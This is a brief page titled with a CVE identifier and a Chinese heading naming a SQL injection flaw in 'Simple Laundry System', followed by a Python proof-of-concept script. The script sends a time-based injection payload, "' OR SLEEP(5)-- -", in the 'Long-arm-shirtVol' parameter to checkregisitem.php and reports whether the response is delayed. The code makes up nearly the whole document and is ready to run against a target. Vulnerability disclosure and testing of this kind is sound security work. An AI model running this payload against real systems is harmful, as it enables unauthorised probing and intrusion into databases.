CVE-2026-4850 Simple Laundry System SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-ip/checkregisitem.php" # Malicious payload to test SQL Injection # This payload attempts to cause a time delay or syntax error payload = "' OR SLEEP(5)-- -" # Parameters based on vulnerability description params = { "Long-arm-shirtVol": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected via time-based analysis.") else: print("[-] Vulnerability not detected or payload ineffective.") except Exception as e: print(f"Error: {e}")